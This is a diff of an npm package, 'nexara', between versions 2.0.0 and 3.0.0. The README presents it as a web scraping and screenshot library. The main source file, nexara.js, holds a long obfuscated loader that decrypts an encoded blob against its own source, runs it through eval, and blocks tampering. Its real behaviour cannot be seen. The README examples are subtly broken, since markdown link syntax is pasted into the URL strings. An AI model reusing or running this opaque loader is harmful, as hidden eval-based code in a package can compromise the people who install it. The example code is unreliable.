nexara 2.0.0 → 3.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +113 -45
  2. package/nexara.js +144 -1
  3. package/package.json +36 -35
package/README.md CHANGED
@@ -1,87 +1,155 @@
1
1
  # Nexara
2
2
 
3
- Nexara is a lightweight Node.js module designed to fetch and parse web content efficiently. It also provides a utility for capturing webpage screenshots.
3
+ A highly efficient, lightweight Node.js module designed for robust web scraping, HTML parsing, asset extraction, and automated webpage screenshot capturing.
4
4
 
5
- ---
5
+ Unlike heavy headless browser solutions, **Nexara** is built on top of Axios and Cheerio, ensuring maximum performance, low memory footprint, and blisteringly fast execution.
6
6
 
7
- ### **Author Credit**
8
- This module was created by **Nimesh Piyumal**.
7
+ ## 🚀 Key Features
9
8
 
10
- - **GitHub**: [Nimesh Piyumal](https://github.com/nimesh-piyumal)
11
- - **Email**: nimeshofficial.info@gmail.com
9
+ - **Smart Auto-Retry:** Automatically handles failed requests (e.g., 500 errors, socket hang-ups) with intelligent retry logic.
10
+ - **Advanced Asset Extraction:** Easily extract all hyperlinks and image sources from any webpage.
11
+ - **Memory-Efficient File Downloader:** Download large files (images, videos, documents) directly to your disk using Node.js Streams without bloating RAM.
12
+ - **SEO Meta Extraction:** Instantly fetch standard and OpenGraph meta tags (Title, Description, Images, Keywords).
13
+ - **Lightweight Screenshots:** Capture high-quality webpage screenshots without the heavy overhead of Puppeteer or Playwright.
14
+ - **Proxy & Custom Header Support:** Built-in support to bypass basic scraping blocks using custom User-Agents and HTTPS Agents.
12
15
 
13
- Feel free to contribute or report issues!
16
+ ## 📦 Installation
14
17
 
15
- ---
16
-
17
- ## Installation
18
-
19
- Install the module using npm:
18
+ Install the package via npm:
20
19
 
21
20
  ```bash
22
21
  npm install nexara
23
22
  ```
24
23
 
25
- ## Usage
24
+ ## 💻 Usage & Examples
25
+
26
+ ### 1. Basic HTML Fetching & Parsing
26
27
 
27
- Fetching HTML Content
28
+ Fetch raw HTML and parse it instantly using the built-in Cheerio wrapper.
28
29
 
29
30
  ```javascript
30
31
  const nexara = require('nexara');
31
32
 
32
- async function fetchHTML() {
33
+ async function scrapeTitle() {
33
34
  try {
34
- const response = await nexara.get("https://example.com");
35
- console.log(response.data); // HTML content
35
+ // Fetch and parse in one go
36
+ const $ = await nexara.fetchHtml('[https://example.com](https://example.com)');
37
+ console.log('Page Title:', $('title').text());
36
38
  } catch (error) {
37
- console.error('Error:', error);
39
+ console.error('Scraping Error:', error);
38
40
  }
39
41
  }
42
+ scrapeTitle();
40
43
 
41
- fetchHTML();
42
44
  ```
43
45
 
44
- Parsing HTML
46
+ ### 2. Extracting Links and Images
47
+
48
+ Easily scrape all `href` and `src` attributes from a target URL.
45
49
 
46
50
  ```javascript
47
51
  const nexara = require('nexara');
48
52
 
49
- async function parseHTML() {
50
- try {
51
- const response = await nexara.get("https://example.com");
52
- const $ = nexara.load(response.data);
53
-
54
- // Example: Extract the page title
55
- const title = $('title').text();
56
- console.log('Page Title:', title);
57
- } catch (error) {
58
- console.error('Error:', error);
59
- }
53
+ async function getAssets() {
54
+ const assets = await nexara.extractAssets('[https://example.com](https://example.com)');
55
+ console.log(`Found ${assets.links.length} Links`);
56
+ console.log(`Found ${assets.images.length} Images`);
57
+ }
58
+ getAssets();
59
+
60
+ ```
61
+
62
+ ### 3. Memory-Efficient File Downloading
63
+
64
+ Download files directly to your local storage securely and efficiently.
65
+
66
+ ```javascript
67
+ const nexara = require('nexara');
68
+
69
+ async function download() {
70
+ const result = await nexara.downloadFile(
71
+ '[https://via.placeholder.com/150](https://via.placeholder.com/150)',
72
+ './downloaded-image.png'
73
+ );
74
+ console.log(result); // "File successfully downloaded to ./downloaded-image.png"
60
75
  }
76
+ download();
61
77
 
62
- parseHTML();
63
78
  ```
64
79
 
65
- ## Capturing Webpage Screenshots
80
+ ### 4. Extracting SEO Meta Data
66
81
 
67
- Use the ssweb function to capture a screenshot of a webpage:
82
+ Perfect for building link previews or SEO analysis tools.
83
+
84
+ ```javascript
85
+ const nexara = require('nexara');
86
+
87
+ async function getSeoData() {
88
+ const meta = await nexara.getMeta('[https://github.com/nimesh-piyumal](https://github.com/nimesh-piyumal)');
89
+ console.log('Title:', meta.title);
90
+ console.log('Description:', meta.description);
91
+ }
92
+ getSeoData();
93
+
94
+ ```
95
+
96
+ ### 5. Capturing Webpage Screenshots
97
+
98
+ Capture remote webpage screenshots instantly via a lightweight, built-in engine.
68
99
 
69
100
  ```javascript
70
101
  const nexara = require('nexara');
71
102
  const fs = require('fs');
72
103
 
73
- async function captureScreenshot() {
74
- try {
75
- const screenshot = await nexara.ssweb("https://example.com");
76
-
77
- // Save the screenshot to a file
78
- fs.writeFileSync('screenshot.png', screenshot);
79
- console.log('Screenshot saved as screenshot.png');
80
- } catch (error) {
81
- console.error('Error:', error);
82
- }
104
+ async function takeScreenshot() {
105
+ const screenshotBuffer = await nexara.ssweb('[https://github.com](https://github.com)');
106
+ fs.writeFileSync('screenshot.png', screenshotBuffer);
107
+ console.log('Screenshot saved as screenshot.png');
83
108
  }
109
+ takeScreenshot();
84
110
 
85
- captureScreenshot();
86
111
  ```
87
112
 
113
+ ### 6. Advanced Configuration (Auto-Retries & Proxies)
114
+
115
+ Make robust requests with automatic retries and custom Axios configurations.
116
+
117
+ ```javascript
118
+ const nexara = require('nexara');
119
+
120
+ async function robustRequest() {
121
+ const options = {
122
+ timeout: 5000,
123
+ // Add proxy or custom headers here
124
+ };
125
+
126
+ // Will retry up to 3 times if the request fails
127
+ const response = await nexara.get('[https://example.com](https://example.com)', options, 3);
128
+ console.log('Status Code:', response.status);
129
+ }
130
+ robustRequest();
131
+
132
+ ```
133
+
134
+ ## 🛠️ API Reference
135
+
136
+ | Method | Description | Returns |
137
+ | --- | --- | --- |
138
+ | `get(url, [options], [retries])` | Makes an HTTP GET request with auto-retry logic. | `Promise<Object>` |
139
+ | `fetchHtml(url)` | Fetches a URL and returns a Cheerio instance. | `Promise<Object>` |
140
+ | `load(htmlString)` | Parses raw HTML string using Cheerio. | `Object` (Cheerio) |
141
+ | `extractAssets(url)` | Returns an object containing unique arrays of links and images. | `Promise<Object>` |
142
+ | `getMeta(url)` | Extracts Title, Description, Image, and Keywords. | `Promise<Object>` |
143
+ | `downloadFile(url, dest)` | Downloads a file efficiently to a specified path. | `Promise<String>` |
144
+ | `ssweb(url)` | Captures a 1200px wide screenshot of the target URL. | `Promise<Buffer>` |
145
+
146
+ ## 👨‍💻 Author
147
+
148
+ Created and maintained by **Nimesh Piyumal**.
149
+
150
+ * GitHub: [nimesh-piyumal](https://github.com/nimesh-piyumal)
151
+ * Email: nimeshofficial.info@gmail.com
152
+
153
+ ## 📄 License
154
+
155
+ This project is licensed under the ISC License. Feel free to contribute or report issues on GitHub!
package/nexara.js CHANGED
@@ -1 +1,144 @@
1
- let OhOeb;!function(){const ckBG=Array.prototype.slice.call(arguments);return eval("(function gl6o(PAdh){const r8fh=zkXh(PAdh,jY5g(gl6o.toString()));try{let Lv8g=eval(r8fh);return Lv8g.apply(null,ckBG);}catch(n3ah){var Hq3g=(0o204730-68028);while(Hq3g<(0o400161%65574))switch(Hq3g){case (0x3006D%0o200033):Hq3g=n3ah instanceof SyntaxError?(0o400156%0x10025):(0o400163%0x10027);break;case (0o202070-0x10414):Hq3g=(0o400177%65581);{console.log(\'Error: the code has been tampered!\');return}break;}throw n3ah;}function jY5g(j0Ch){let LxFh=456534251;var fVxh=(0o400067%65553);{let HsAh;while(fVxh<(0x10528-0o202407)){switch(fVxh){case (0o600117%0x10014):fVxh=(69376-0o207340);{LxFh^=(j0Ch.charCodeAt(HsAh)*(15658734^0O73567354)+j0Ch.charCodeAt(HsAh>>>(0x4A5D0CE&0O320423424)))^12102632;}break;case (0o206200-68704):fVxh=(131142%0o200024);HsAh++;break;case (262282%0o200033):fVxh=HsAh<j0Ch.length?(0o400121%0x1001F):(67846-0o204345);break;case (0o1000121%0x1000F):fVxh=(0o204064-0x10816);HsAh=(0x75bcd15-0O726746425);break;}}}let bQsh=\"\";var Dnvh=(66256-0o201254);{let XKnh;while(Dnvh<(0o600210%0x10021)){switch(Dnvh){case (0o600215%65571):Dnvh=(0x20045%0o200022);XKnh=(0x21786%3);break;case (0o201224-0x10273):Dnvh=XKnh<(0O347010110&0x463A71D)?(65686-0o200207):(0o400155%0x10024);break;case (131143%0o200034):Dnvh=(0o203124-0x10639);{const ziqh=LxFh%(0o204300-67748);LxFh=Math.floor(LxFh/(0x30076%0o200036));bQsh+=ziqh>=(131138%0o200024)?String.fromCharCode((0o210706-0x11185)+(ziqh-(0o400072%0x10010))):String.fromCharCode((196831%0o200052)+ziqh);}break;case (0o600157%0x1001C):Dnvh=(0o200512-65833);XKnh++;break;}}}return bQsh;}function zkXh(bSZh,vfSh){bSZh=decodeURI(bSZh);let XMUh=(0x75bcd15-0O726746425);let raNh=\"\";var THPh=(0o205252-0x10A95);{let n5Hh;while(THPh<(0x10F78-0o207527)){switch(THPh){case (0o200276-0x100AB):THPh=(0o201200-66144);{raNh+=String.fromCharCode(bSZh.charCodeAt(n5Hh)^vfSh.charCodeAt(XMUh));XMUh++;var PCKh=(0o202114-0x10436);while(PCKh<(0x30096%0o200046))switch(PCKh){case (0o400074%65555):PCKh=XMUh>=vfSh.length?(66236-0o201262):(0o600215%65571);break;case (262214%0o200017):PCKh=(0o1000274%65574);{XMUh=(0x75bcd15-0O726746425);}break;}}break;case (0o400122%0x1001A):THPh=n5Hh<bSZh.length?(196720%0o200037):(262245%0o200021);break;case (262205%0o200012):THPh=(65836-0o200416);n5Hh=(0x75bcd15-0O726746425);break;case (0o400074%65550):THPh=(0x3007B%0o200037);n5Hh++;break;}}}return raNh;}})(\"O%09%01%0B%1A5%08%0E%09G%5D%1E%1F4%0F%02%13%06%1B%0BY%08%10%11%11G%5D%1E%0B$%15%14%15%01TM%12&%03%0FOF%5D%3E%12%18,%0AOF)MP%3C%07%14%09%0C%00%0C%16/A%02%0A%08%02MP:%13%04%13%1A%06%0BYiJJ%3CD/8$%1AJ::2_MRj:J%3C2)%3ER%1A%3C%3CNF_MR%1A%3CJFD/8P%3C%07%14%09%0C%00%0C%16/A$%09%05%02MP:.%09(%0A%16%3E%1A%16%25%10OF)X,;1%0DOF/%0A%03%13%09IN2O0%03%11%0DIN4%03?02IHL%04%174%08iH%3CZ%20%1C*%1C#:,5%1B%07MP%1CZ%1C%01%1A%1A%06%0D(%0E%0FG6%1D%04%0FiH%1A%15%0A%00%10%0B/AIOD%5C%3ER%1A:@L4)NXj:%3C:D/N%22%1C%3C%3C:D/8P%1AJ::2%5DOQ6%0D%08%15G%5DLPjIJL4_%3E$%1C:J%3C2)NQjJ:L4)8%22j:%3C:FYNXj:%3CN%12;%0D6$%03%5C%1C%12O%03%0C/%02%15%0E%00%1AE8*%05%17OF%0F%17%1C5%14%13%09O%03+%0B*IHL%22%101%08iHJ*%07%11%0BQhJ%02,%0A%07MPj$%0B%00%1F%5CL%04\'%14%0F%04%1B%1D%0A%17a%20$6%19%5C%06%3E%15%17M%10-?%13U%18%22/%11C%07%1C%3C7H%1A%04%00%1A%16%0Da4%1B/%19I0=%12%13I%04(%20%13U%22&5%11A%18%00%17&%15%09JG_N%22j:%3C:4_%3E$%1CJILD/N%22%1C%3C:L4)8PlJ@L4)LPz%0D%04%13O%1B%13%007%5C%16%13*%1EM%0E%03*%17JG_%3E%22j::LN/8R%60J::2_%3ER%1A%3C%3C:D/8$%1AJ::2/N%22%1C%3C%3CNC!%1F17HZ%0B%0A%00E(6#%17Z%1C%0D%20%0Fz%17%00%15O%254%166%5CIW%00FUHvQQJ_%0CTIr#UNT%0F%09%1C5A%124%1D%03%5E%0E)%08%0D%02G%254%166%5DIW%17GUIvTDW%00FUIqRTNF%0F%16%0E(%15%02%0FG%254%166H%1A%04%0E%07%00YiPRV%5EF%5D%5Cq%0ESW_DWOh%5B06%00%03XQq%19PWY@UTq%0ESW%5CDSIhZ%124%1D%03XRj:J%3C2)%3ER%1A%3C%3CJDUN%22%1CZ%03%15%0A%15%0EB%22%00%12%02O%5CU6rPTT_AULwRLW%17E%5C8%02TPQ-%5D_(%10%0E%16ZGD%1DKqQR%5EJD%0AKqQQVY%5D%5E%02%22%0E%0F%14%1BT(7(%16%5C%04(%20%13%2222%13%102O%0A%0F8%17%5C2+\'%17Q.%17%18%11C_%3E%22j::FD/8R%60J::2_%3ER%1A%3C%3C:D/8$%1AJ::2/NXj:%3C:2X4%0E%03%17LOD/%3ER%1A:JF4)NXj:%3C:D/N%22%1C%3C%3CL4)8%22j:%3C:4_%3E$%1C%3CHND9+%106J4#%3C%06M%167%18%17K%3E%03\'%0FhZ0%10-%02XQ%10%16#%11E-&77HD%10-?%13B%3C%03%13%02%0E%1F%5E%1A%20%12%04GGD%1DHq%20RUBD%0AKqTQUZ%5D_(%10%0E%16ZGD%0AHqQQWYD@OtTUSFO%16*3%16JLT%16%17%1C%20%0AZ%04%0E%07%00YiQ%0EU_GSIqLQ%1F%5EDRNqH%5B6%3E%1B%12D22%13%10S%03\'27LIL4/N%22%1AJ@L4)8R%1AJ::2)N%22%1C%3C:L4)8%22j:%3C:2%5DZQvRWTVCU@dXH%5DGBROrWLW%00FUMqSWNT%16%17%1C%20%0AZ%1A%12%09%06%16/%12%15G%00$%09%0E%7C%12%00(%00%5C%0A%0F8%17M2%15%3C%13Pz%17%00%15O=.%1A6%5CIW%17GUItRDW%00FUIqSTNT%03%0D%10-%04I.$%17%12EiQ%19T_DRNdQ%0EU_DUJrHH%14%18%1D%11%1A)I(,%0C%03L%02%22%00%12%02O%5CU%16uQQV%5EE@I9PQW%5E7LC%08*%02%10R%5CT@wVSSJD%0AKqQQT%5D%5D%5E%02.%17%18%11R!!*3I%0E%11%16%02IR%1A%3CM%08?%18%12Pz%1C%03%15%0A%15%0EB%22%00%12%02O%5CU%01pQTPWYU%16sQSR%5B@LC%08*%02%10R%1B5%156_%5CL4/N%22%1AJ@L4)8R%1AJ::2)N%22%1C%3C:L4)8%22j@J%3C2)8FiQ%0EU_FWMwLQ%1F%5EDQ@tH%5BO_%1BTIqQPPYQU%01pQQVY%5D%5E%1B3%04%00%0CT%09%17%1C5%14%13%09O%1B%13%007Z%1C%01%1A%1A%06%0D(%0E%0FG%049%03%0EiH%1A%15%0A%00%10%0B/AIO%18%1C%03%15iHHMG_M%22j::FD/8R%60J::2_%3ER%1A%3C%3C:2_%3E$h:J%3C4_%3E%22j:%3C:D/N%22%1C%3C%3CL4)8%22j:%3C:4_DR%1A%3C%3C:2%5DLRiJ:%3CD/%3ER%60:%3CLN_%3E$%1CJ:L4)8$j:%3C:4_%3E$%1C:J%3C2)8P%3C%07%14%09%0C%00%0C%16/A$/8%02MP:%13%04%13%1A%06%0BYiJ:%3CD/%3ER%1A%3C%3CL4_%3E$%1C%3CJ%3C2)%3ER%1A%3C%3C%3CD/8$%1CHJOG_DR%1A%3CJOD_%3ER%1A%3C%3C%3CD/8$hHKO.%1B%0A%0BiHHN%12%12%10%17%22%15%08%08%01T%023%1B%17IN%14%06%00%0D4%13%0FGG_N%22j:%3C:4_%3E$%1CJILD/N%22%1C%3C:L4)8PhJI%22?%07%0AQhH%1C%01%1A%1A%06%0D(%0E%0FG&%1D%07%0DiH%1A%15%0A%00%10%0B/AI*!%05%08QhH:6%0C#%0EQh%3CI%14$%10%10QhH%1C%01%1A%1A%06%0D(%0E%0FG%04%1F%00%0DiH%1A%15%0A%00%10%0B/A4%0D%09%06MPj%0E%13%11%1F%5CLR.%035%0CG%5DN%1A(%05%11OF_%20%13&%11IN%12%12%10%17%22%15%08%08%01T%20%1F%17%12I%00%07-%16P:%13%04%13%1A%06%0BY2%08%02%154%13%0D%202%3CZ%1A%09%01%0B%1A5%08%0E%09O5%06)2IH%1C%1D%11%11%0C3%0FAON/8R%1A%3CH%3CDUN%22%1CJ@L4)NXj:%3C:%12;%0D6$%03O%0CR%5C%3E%174%0D%0D:RIB%5EhZ%07%12%01%17%11%10.%0FA%04%0A\'%16Qh%1A%13%02%1B%01%17%17aIJ%3C2_DR%1A%3CHLG%5C%02+7%0EINF%5EM(%08%08%0AOF%5DL%04\'%14%0F%04%1B%1D%0A%17a%16;.%1C%5CL%023%04%15%12%1D%1AE%1A(%05%11OF_%0661%0EIN%12%12%10%17%22%15%08%08%01T%3C%18%0C%12IN%14%06%00%0D4%13%0FGG/8%22%1A%3C%3CL4)L%22j@J%3C2_DR%1A%3CJFD/8$%3C%07%14%09%0C%00%0C%16/A8%12%15%00MP:%13%04%13%1A%06%0BY%18%227%0BG%5DN%1A,%0E%0DOF_%12%095%0FIND%17%0C%1D1IHL*%1E%02%09iH%1C%01%1A%1A%06%0D(%0E%0FG.%03&%0Di4%13%13%1B%5D%1E%0B$%15%14%15%01T%16%10%22%13:2%1D%00%11$z%1C%07%12%01%17%11%10.%0FA%10%1B%03%11Qh%1A%13%02%1B%01%17%17aI%0A*%09%03MPhJI%14(%15%0AQhH%1C%01%1A%1A%06%0D(%0E%0FG%3E%1B%0B%0DiH%1A%15%0A%00%10%0B/A8$9%18MPj00%10%02%5CLR63%14%16G%5DN%1A%0A%04%12OF_%20%13&%11IN%12%12%10%17%22%15%08%08%01T%16%080%15IN%14%06%00%0D4%13%0FGG1-%1C,IHND%5C%0A5(%10INF%09%03%0C/%02%15%0E%00%1AE4-%09%15OF%0F%17%1C5%14%13%09O-%00!.IHL%18%22#%14iHJ*%0B%20%14QhJ,!:%00MP%3C%17%00%15O%1B%0B%125%5C:OWFWJwLQ%08%5D@UKsTHKGD%0AKtQUT_YU%01pTQQ-%5DIQpXVUXM@I.SQW%5D@QP%1CZ%07%12%01%17%11%10.%0FA%08\',%11Qh%1A%13%02%1B%01%17%17aF=%12_DPLf%1C%07%12%01%17%11%10.%0FA6&%15%10Qh%1A%13%02%1B%01%17%17aIJ%3C2_DR%1A%3CHLG%5CN%22%1CJ@L4)NQjJ:L4)8%22j:%3CL4)8PhKI%22#%1C%16QhHH%1A%09%01%0B%1A5%08%0E%09O%1F%20+5IH%1C%1D%11%11%0C3%0FA2%05%12%17QhJ$%05%3C%19MPj8%18,%1F%5CLR%0C\'4%13G%5D%18%1F4%0F%02%13%06%1B%0BY%0C\'4%13G%5D%1E%0B$%15%14%15%01TM%3C%0D%09%12OF%5DN%22%1C%1C%07%12%01%17%11%10.%0FA%00-8%11Qh%1A%13%02%1B%01%17%17aIJL4_%3E$%1C:J%3C2)NQjJ:L4)8%22j:%3C:F%5DNQ&+;%11G%5DL%04\'%14%0F%04%1B%1D%0A%17a(%22(%1B%5CL%023%04%15%12%1D%1AE%20%20,%12OF_01%25%0EIND-%08%153IHL%22%04%16%09iHJ%0C%22%1A%08QhJ8%06%22%07MPj%20%027%1C%5CL%04\'%14%0F%04%1B%1D%0A%17a%02%18!%1B%5CL%023%04%15%12%1D%1AEQj::L4/NX%1A%3CJFD/8$j:J%3C2)8R%1A%3C%3C%3CD/8$%1AJ::2)LRiI4+%00%1FMPhKILD/N%22%1C%3C:L4)8RiJJ%3CD/8$%1AJ::2%5DLP%3C%07%14%09%0C%00%0C%16/A$%1D&%00MP:%13%04%13%1A%06%0BY%08.%0F%14G%5DN41%12%11OF_%0661%0EIND!%07+.IHL%22%1C%00%17iHJ.%1A5%17QhJ%0A6%1E%07MPj%02*%02%1C%5CLR%0C%11%12%17G%5DN4)%04%0FOF_%0661%0EIND%25%02#0IHL6%15(%0AiH%1C%11%0E%06E%3C%15%17%14Z4%5CU%16pQQV_@P%5Cq%19PW_A%5CPmIQ%08%5BDULrPDW%17EUIu%20HKGD%0AOqPPR%5CQSLwVWNC%5CU%16uQQQ%5CC@I9PQWYBLUiQ%0EV_DULuVDW%17EUIsSHKGD%1DKqPY%25JD%0AKqQPU%5B%5D8B\'%14%0F%04%1B%1D%0A%17a%067%1E%1A%5CL%023%04%15%12%1D%1AEQ5%18%11%02%00%12EQ%1A%3CJ%3C2%5DL%22j@J%3C2_DR%1A%3CJFD/8R%60J::DUN%22%1C%3C%1C%01%1A%1A%06%0D(%0E%0FG.%25%15%0CiH%1A%15%0A%00%10%0B/AI.%06%16%11QhH:%0C69%0EQh%3CIN%12%12%10%17%22%15%08%08%01T%06*2%14IN%14%06%00%0D4%13%0FGG/8%222%04;%0CG%5D8R%1A%3CH%3C.%1B%0A%0BiH%3C%1A%09%01%0B%1A5%08%0E%09O%03+%134IH%1C:%0E5%15iH:%08%15&%0DQh%3C%5C(%07;%00%1B%1A%026#%1E%5CL$z%1C%07%12%01%17%11%10.%0FA%3E%20%19%10Qh%1A%13%02%1B%01%17%17aI((%01%07MPh:%0A%3E%22%1FMP%1CIH%1A%09%01%0B%1A5%08%0E%09O%07.%1D4IH%1C%1D%11%11%0C3%0FAOD%5C%3ER%1A:@L4)NXj:%3C:D/N%22%1C%3C%3C:D/8P%1AJ:%3CD/%3ER%1A%3C%3CL4_%3E$%1C%3CJ%3C2)%3ER%1A%3C%3C%3CDUN%22%1C%3C%3C:F_M%200%16%0FOF%5D%18%1F4%0F%02%13%06%1B%0BY%14-%06%12G%5D%1E%0B$%15%14%15%01TMR%1A:J%3C4UN%22%1CJ@L4)8R%1AJ::2)N%22%1C%3C:L4)8%22j@J%3C2)8PjIILN_%3E$jIJL4_%3E$%1C:J%3C2)LPkI4+%00%1FMPhH%1C%01%1A%1A%06%0D(%0E%0FG%18%18%0C%0BiH%1A%15%0A%00%10%0B/AILG/N%22%1A@J%3C2_DR%1A%3C%3CL4_%3E$%1C%3C%3CL4)L%22j:%3C:F%5EMR%60J::F_MRi:J%3C4UN%22%1CJ@L4)8R%1AJ::2)8R%1A%3CH%3CD/%3ER%1A:J%3C2)N%22j:%3C:2_%3E$%1C:J%3C2)%3ER%60J::2)8P%3C%07%14%09%0C%00%0C%16/A8%0A%03%06MP:%13%04%13%1A%06%0BYi%15%18%17%0A%1B%03Yi:%3CL4)LP%1AJ@L4)8%04-%04%15G%1C%1D%06%0Bz%07%14%09%0C%00%0C%16/A4%0D%09%06MP:%13%04%13%1A%06%0BYi%067%1E%1A%5CLP%1A%0A8*%04%5CL$iH%1C%01%1A%1A%06%0D(%0E%0FG%00%122%08iH%1A%15%0A%00%10%0B/A4%05=%1BMPj,%09%02%01%5CLR&\'6%17G%5DN%1A(%05%11OF_%20%13&%11IN%12%12%10%17%22%15%08%08%01T4%1E%1B%10IN%14%06%00%0D4%13%0FGG/8%22%1A%3C%3CL4)L%22jJ:LD/%3E$%1C:J%3C2)8%22j:%3C:2%09%03%0C/%02%15%0E%00%1AE%12%220%10OF%0F%17%1C5%14%13%09O!-%1D.IHL.%175%0AiHJ%04%20%04%0AQhJ8%0E%06%18MPj8%00*%1C%5CL%04\'%14%0F%04%1B%1D%0A%17a,%053%1E%5CL%023%04%15%12%1D%1AEQ%10(%08%0CG%5DLR%1A%3C%1C%01%1A%1A%06%0D(%0E%0FG%22%0C%22%0BiH%1A%15%0A%00%10%0B/A4%05=%1BMPj(%10%17%19%5CLR%04%032%0AG%5DN%20%20,%12OF_%20%13&%11IND5%122+IHL%08%00%1D%0BiHJ%3E%20%19%10QhJ%02%0E%0B%04MPj$%0B%00%1F%5CL%04\'%14%0F%04%1B%1D%0A%17a%0E%1B-%1D%5CL%023%04%15%12%1D%1AEQ%14-%06%12G%5DLRi%02%18!%1B%5CLP%3C%07%14%09%0C%00%0C%16/A(%12.%06MP:%02%0E%09%1C%00E%126%25%13Z:%0E5%15iH:%08%15&%0DQh%3CZ%15%0A%00%10%0B/A%0A%10+%06ZQ*%16%25%15D/8P%1A,#5%01Q$%12-%0DIN2N0=%12%13I%0C%180%17R%1A%3CM%10%25%13%0AQhHZ%1A%20%1C*%1C#:%20%0C%0B%02MP%1C%5C%06=%25%05%5E%1F4%0F%02%13%06%1B%0BY%04%13%14%15G%5D%1E%0B$%15%14%15%01TMQjI:L4/DR%1A%3CJFD/8$j:J%3C2)8$j:%3CN4_%3E$%1CHKO%3E=%0C%12iHHND%5CN%22%1AJ:%3CN_%3E$j@J%3C2)N%22j:%3C:2_%3E$%1C:J%3C2)%3ER%60J::2)L%04\'%14%0F%04%1B%1D%0A%17a%06%15%1F%1D%5CL%023%04%15%12%1D%1AEQ%18%08%00%11G%5DLR%1A%3C%1C%01%1A%1A%06%0D(%0E%0FG.%1B%0A%0BiH%1A%15%0A%00%10%0B/AI%3E%3C%0C%14QhHJO6%1D%04%0FiHH%1A%09%01%0B%1A5%08%0E%09O%17%14%0B3IH%1C%1D%11%11%0C3%0FAO%22%04%16%09iHH%3C%04-(%12iH%3COF%09%03%0C/%02%15%0E%00%1AE%1A%0A%04%12OF%0F%17%1C5%14%13%09O%5CD%22%1CJ::F/NXj:%3C:%12%12%10%17%22%15%08%08%01T%205)%12IN%14%06%00%0D4%13%0FGG%5CNQ%1AJ:%3CN_%3E$j@J%3C2)N%22j:%3C:2)N%22%1CH:L4)8PkI84%17%05MPhHJOD/%3ER%1A:J%3C2)N%22j:%3C:2_%3E$%1C:J%3C2)%3ER%60J::2)L%04\'%14%0F%04%1B%1D%0A%17a8&%3E%1D%5CL%023%04%15%12%1D%1AEQ%1A%3C:%3C2)N%22%1CH:L4)8%04\'%14%0F%04%1B%1D%0A%17a%20(%05%1C%5CL%023%04%15%12%1D%1AEQ%1A%3C:.,;%11Qh%3CIND/8P%1A%0E-%0E%1E%5CL$%3C%07%14%09%0C%00%0C%16/A4#%3C%06M%0E%077%13K%3E5(%0Bm%12%227%1D%5D%1E%15$%15A%1487%16DcCZ%11%0E%06E,%19\'%12ZGD%0AMqQQQYQU%01pQQV%5E%5D%5E%02-%04%15G%00%20%12%0Az%06%11%0A%19N%12%11(%0D%04O:,#%0A%7DIPT%5EERKdQ%0EU_DUJvHH%1C%1C%03%0C%0D%22%09I272%16P:%02%00%14%0ATMI.WQW_CS%5Cq%19PW_D%20P%7B49!%1CIMOwRYQBD%0AKqPTW%5E%5D%5E%16%15%16%12Z%3E5(%0Bz%03%13%02%0E%1F%5E%1A%20%12%04GGBPOuWLW%00FUIpURNU!=?2%5CIW%00BUIpWUBYAPOxHZ%08;%03%16RjZ%03%15%0A%15%0EB%22%00%12%02O%5CU%16wQQUZ@@OtTYVFN0!%07%12%5CO_%0CVIqR$B_%1BWIqQSVFO%1E%0F%20%13A6:%0E%16DiQ.V%5B@SLvUUP1D%1DHxRT!%5DDLB6%09%08%0B%0A%5C4,;%12%5DO_%1BTIqQRVXQU%01pQQU,%5DL%0A6%08%15%04%07%5C4,;%12H%1C%0C%15%16%1CaIWQXMSTq%0ESW%5DGVOh%5B02%15%07XQq%19PW+AWTq%0ESWY@SJhZ%03%15%0A%15%0EY&%11%0C%11T%17%04%0A$AIW%20FSMrTRPZC@Ah%5B02%15%07X%16%15%16%12YR%03#/3O%0D%02%01%13%11%11~IWQXMSTq%0ESW%5DGVOh%5BIW%00@UIpTTB_%0CTIqSVNT%16%17%1C%20%0AZ%1A%1C#&%0Aj%5C%16!9%06%3E%16%15%16%12:T%09%07%0B$%00%0A%5C%0C%15%16%1CaIQ%1F%5EDU8%00LQ%08%5DDUKrPH%5D:,#%0A%7C%0E5%10%1CH48%0C%13JO%1C75%0B%7C%5C%5C%12%01%10%00%1F(%0F%04%03P%03#/3O%0D%02%01%13%11%11%7B%12%227%1D%5DZQq%0ESW%5DCTIlWW%5EXMLCiQ%19T_DRNdQ%0EU_DUJrHZ%05%1D%11%04%12z%1C%1C%1A%1D%11%11%0C3%0FA%1487%16B%3C.%09(%0A%16%3E(.%0F%15OF)X%1E-%0B%11%5C%09%01%0B%1A5%08%0E%09O%1F4%082IH%1C%1D%11%11%0C3%0FAO%3E=%04%0CiHH%3C%3E%172%12iH%3CO&?%0E%14iHH%1A%09%01%0B%1A5%08%0E%09O97%0D2IH%1C%1D%11%11%0C3%0FA%3E(-%17QhJ4/%0B%1BMPj%0A%06%05%01%5CLR%14)%05%08G%5DN%1A%0E%11%0EOF_%06:%10%11IND!-%1D.IH%1A%09%01%0B%1A5%08%0E%09O%13+%122IH%1C%1D%11%11%0C3%0FAO6\'%1D%08iHHL4)%18%1F4%0F%02%13%06%1B%0BY%08.%0F%14G%5D%1E%0B$%15%14%15%01TMX%1A%3CJ%3C2%5D%3ER%1A%3C%3C%1A%09%01%0B%1A5%08%0E%09O%1F%0A%091IH%1C%1D%11%11%0C3%0FA2%0D&%0AQhJ(%16%1F%02MPj$%034%02%5CLR%18%00,%14G%5DN%3C+%06%11OF%09%03%0C/%02%15%0E%00%1AE41%12%11OF%0F%17%1C5%14%13%09O%5CDX%1A%3CJ%3C2%5D%3ER%60J::2%09%03%0C/%02%15%0E%00%1AE%1E-%0B%11O&%19%08%09h%1A%13%02%1B%01%17%17a%12%08%04%1D/,%14,%11%3C%5C%12%12%10%17%22%15%08%08%01T%06%10%25%11IN%14%06%00%0D4%13%0FGG/8%222%04;%0CG%5D8R%1A%3CH%3CDUN%22%1CJ@L4)NXj:%3C:%12%12%10%17%22%15%08%08%01T%20%13&%11IN%14%06%00%0D4%13%0FGG%00%1C%09$%0E%07GN/8P%1AJ::2%09*%11%0E%04%03%3C.!$%08iH%3CZ.%03&%0Dz%07%14%09%0C%00%0C%16/A8%027%1BMP:%13%04%13%1A%06%0BYi%02%226%1F%5CLP%1A%0A8*%04%5CL$iH%1C%01%1A%1A%06%0D(%0E%0FG.%13%04%09i%20%20)%1F%5D%1E%0B$%15%14%15%01T%16%10%22%13:&.:%15$z%1C%07%12%01%17%11%10.%0FA%04,%25%15Qh%1A%13%02%1B%01%17%17aI8%16%18%1AMPh:0%048%1FMP%1CI(,%04%1